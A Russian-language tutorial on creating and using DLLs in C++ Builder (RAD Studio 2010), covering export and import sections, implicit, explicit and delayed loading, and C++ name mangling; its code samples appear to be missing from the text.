Секция экспорта перечисляет те идентификаторы объектов (классы, функции, переменные), доступ к которым предоставляет данная DLL. В большинстве случаев именно эта секция вызывает особый интерес у разработчиков. Тем не менее, DLL может вовсе не содержать секцию экспорта. Кроме функций, к которым можно получить доступ извне (exported), существуют также внутренние функции (internal), которые спрятаны от "посторонних глаз" и могут использоваться лишь кодом самой DLL.

Секция импорта предназначена для связи данной DLL с другими.
Большинство библиотек импортируют функции из системных DLL (kernel32.dll, user32.dll и др.). Иногда в стандартный список нужно добавить другие библиотеки, например ws2_32.dll для работы с Socket'ами.

DLL не может выполняться сама по себе, поэтому требует хост-процесс (главный процесс, в котором предполагается использование DLL).
Перед тем, как библиотеку можно будет использовать, её необходимо загрузить в область памяти хост-процесса. В exe-файле компилятором будет сгенерирована инструкция вызова заданной функции (call).
Т.к. DLL расположена в адресном пространстве процесса, то вызов функции из библиотеки будет иметь вид:

При выполнении команды call, процессор передает управление на код с адреса 010199, и выполняет его до команды ret, а затем возвращает управление команде следующей за call. Код который вызывается командой call называется процедурой.

Файл, являющийся динамически загружаемой библиотекой не всегда носит расширение *.dll.
Есть также: *.cpl (библиотеки, используемые апплетом панели управления) и *.ocx.

Библиотеки удобно использовать для разделения приложения на части, выполняющие разные роли.
Например, приложение, обеспечивающее работу с базами данных может быть разделено на часть, отвечающую за выборку данных из базы, находящейся на сервере, и, часть, которая отвечает за визуальное управление приложением. Это явный пример той модульности, о которой я упоминал выше. Вы в праве изменять принципы обмена данными с сервером БД, не затрагивая при этом работу с визуальной частью.

  • 1.3. Необходимость внедрения DLL. Нужно ли это?

Настало время ответить на вопрос: Когда же нужно использовать DLL?
Если вы разрабатываете небольшой проект или тестовое приложение, то внедрение DLL будет для вас пустой тратой времени и сил. Тратой времени: не только времени на создание библиотеки, но ещё и времени, необходимого для загрузки DLL в память хост-процесса. До того, как вы будете использовать объекты из DLL, вам рано или поздно прийдётся выгрузить содержимое в память. А это требует некоторого времени.
Однако, если вашу DLL будет использовать более, чем одна копия приложения (или несколько различных приложений) - наступит явный выигрыш.

Для эксперимента запустите Microsoft Office. Первый запуск долгий. Это обусловлено тем, что все необходимые модули загрузаются в оперативную память. Теперь полностью закройте Office и снова откройте его! Окно появится почти мгновенно. Это обусловлено тем, что модули хранились в ОЗУ (система не тронет их, пока ей не понадобится память для других целей).

При создании больших проектов лучше сразу пытаться представить себе части, которые могут быть уникальными и требующими частого усовершенствования.

Но не старайтесь придать вашему проекту чрезвычайной "уникальности" за счёт помещения каждой функции в отдельную библиотеку! Это можно делать, только зачем тратить время для загрузки каждого модуля?

  • 2.1. Создаём первую DLL своими руками.

Пришло время постепенно перейти от теории к практике.
Открываем IDE (для написании данной статьи я использовал RAD Studio 2010).
Переходим к File -> New -> Other -> Dynamic-Link Library.
Перед нами возникает диалог:

Source Type - язык, на котором ведётся разработка.
Use VCL - использование библиотеки визуальных компонентов.
Multi Threaded - опция, указывающая на то, будет ли использоваться многопоточность в данной DLL (VCL уже подразумевает в себе многопоточность).
VC++ Style DLL - опция, указывающая на то, будет ли DLL совместима с компиляторами Microsoft.

Если в совместимости нет нужды и опция не выбрана, то DLL будет иметь точку входу с таким прототипом:

Для обеспечения совместимости точка входа изменяется на:

Оставим диалог без изменений и нажмём "ОК".
Перед нами появится шаблон минимальной DLL. Сохраним его.
Как вы помните, сама по себе DLL работать не может, ей нужен клиент. Поэтому, для удобства сразу создадим новый проект VCL Forms Application.
Для этого переходим в Project Manager, вызываем контекстное меню у нашей Project Group и переходим к Add New Project -> VCL Forms Application.
Для удобста я назвал проекты TestDLL и TestVCL соответственно (и сохранил их в одном каталоге - это избавит меня от копирования DLL или указания абсолютного пути):

Без изменений запускаем TestVCL, сохраняем и переключаемся к проекту TestDLL (дабл-клик на проекте в Project Manager).

Переходим к Run -> Parameters и в поле Host Application указываем путь к нашему проекту TestVCL.

К шаблону DLL добавляем функцию, которая будет вычислять сумму и выводить результат на экран:

В проекте TestDLL добавим также заголовочный файл (TestDLL.h) с таким содержанием:

Сохраняем. Запускаем. DLL мы подготовили. Теперь необходимо узнать, как же подключить DLL к проекту. Сделать это можно тремя способами. Рассмотрим их подробнее.

При неявной загрузке DLL загружается (проецируется на адресное пространство вызывающего процесса) при его создании. Если при загрузке возникает ошибка - процесс останавливается и разрушается.

Для выполнения неявной загрузки приложению требуются:
- Заголовочный файл (*.h) с прототипами функций, описаниями классов и типов, которые используются в приложении.
- Библиотечный файл (*.lib), в котором описывается список экспортируемых из DLL функций (переменных), и их смещения, необходимые для правильной настройки вызовов функций.

В проекте TestVCL подключим наш заголовочный файл:

Также, не забываем сделать Project -> Add To Project и добавить в проект TestDLL.lib
Далее, объявим прототип:
Теперь осталось только вызвать функцию там, где это необходимо.
Чтобы убедится в том, что всё работает, прописываем в конструкторе формы:

Запускаем и смотрим на результат. Думаю, "3 + 2 = 5" всех устраивает.

Для того, чтобы выполнить явную загрузку программист должен попыхтеть, управляя DLL через функции WinAPI.
Наиболее часто рассматриваемые WinAPI функции:
DisableThreadLibraryCalls, FreeLibrary, FreeLibraryAndExitThread, GetModuleFileName, GetModuleHandle, GetProcAddress, LoadLibrary .

При этом, основными функциями являются:
LoadLibrary[Ex] - позволяют загрузить DLL в адресное пространство хост-процесса.
FreeLibrary - функция, используемая для явной выгрузки DLL.
GetProcAddress - функция, позволяющая получить виртуальный адрес экспортируемой из DLL функции(или переменной) для ее последующего вызова.

Общая методика выглядит так:
1. Загрузить DLL с помощью LoadLibrary.
2. Получить указатели на необходимые объекты с помощью GetProcAddress.
3. Выгрузить DLL после завершения всех действий.

Теперь возникает вопрос, как же проверить теорию на практике?
Всё, что нужно, это добавить TestDLL.lib к проекту (также, как и при неявной загрузке).
А дальше, для проверки снова пишем в конструкторе формы:

И на экране снова красуется победная надпись "3 + 2 = 5"

Остался один неосвещенный вопрос. Почему же название функции "ShowSum" мы ищем в библиотеке с нижним подчёркиванием?

Виновато во всём декорирование имён.

Декорирование (или искажение, mangling) имен - это специфическое явление, присущее компиляторам языка C++, которое необходимо учитывать при разработке DLL на этом языке. Оно заключается в том, что компилятор С++ к имени функции всегда добавляет сокращенный список формальных параметров и тип возвращаемого значения.

Прототип функции Test(int); мог быть преобразован компилятором, например в ?Test@@YAKH@Z.
Естественно, такое декорирование нам вообще не по душе. Избавиться от него можно объявляя все экспортируемые функции с модификатором extern "C" - тогда компилятор не будет искажать имя функции.

Однако, как мы видим, нижние подчёркивание всё же добавилось.
Это один из нюансов среды C++ Builder. Однако, можно отучить его добавлять нижнее подчёркивание таким образом:
Project -> Options -> C++ Compiler -> Output -> Generate underscores on symbol names - перевести в состояние false.

Для чего же нужна отложенная загрузка?
Представьте себе ситуацию: вы написали приложение, использующее стандартные системные библиотеки вашей новой операционной системы, скажем, для проверки орфографии.
Даёте это приложение пользователю, который использует ОС более старой версии, чем у вас и в этой ОС нет функций для проверки орфографии. А пользователю это не сильно и надо. Приложение будет работать, пока не обратится к необходимой функции. То есть, фактически, DLL не нужна до обращения к определённой функции. Исключение отсутствия можно обработать и выдать пользователю предупреждение с просьбой обновить библиотеки своей ОС (и т.п.).

Использование отложенной загрузки DLL в C++ Builder мало отличается от неявной загрузки.
В проект добавляется заголовочный (*.h) файл с описаниями и библиотечный файл (*.lib).
Далее, переходим в Project -> Options -> C++ Linker -> Advanced -> Delay Load DLLs и вписываем название нашей библиотеки (TestDLL.dll).

Когда библиотека теряет свою необходимость её нужно явно выгрузить с помощью __FUnloadDelayLoadedDLL. В качестве параметра передаём имя DLL (с расширением + параметр регистрозависим).
Если вы используете многопоточные приложения - убедитесь, что все потоки завершили работу с DLL.

Примечание: Нельзя использовать отложенную загрузку для библиотек, имеющих секцию импорта (т.е. использующих другие библиотеки), а также Kernel32.dll и RTLDLL.dll (т.к. функции поддержки отложенной загрузки как раз и находятся в последней).

3. Заключение.

Данная статья даёт вам представление о возможных вариантах использования DLL в ваших проектах.
При внимательном ознакомлении с методами загрузки можно выбрать наиболее оптимальный вариант.

Подведя итоги можно выявить плюсы и минусы описанных методов:

Явная загрузка:
+ контроль и управление процессом жизни DLL.
- управлением DLL занимается программист посредством WinAPI.

Неявная загрузка:
+ все заботы берет на себя компилятор и сборщик.
- ресурсы заняты всё время жизни приложения.

Отложенная загрузка:
+ все заботы берет на себя компилятор и сборщик.
+ возможность использования приложения с не полностью совместимыми DLL.
- необходимость усиленного контроля за многопоточными приложениями.

Читайте также: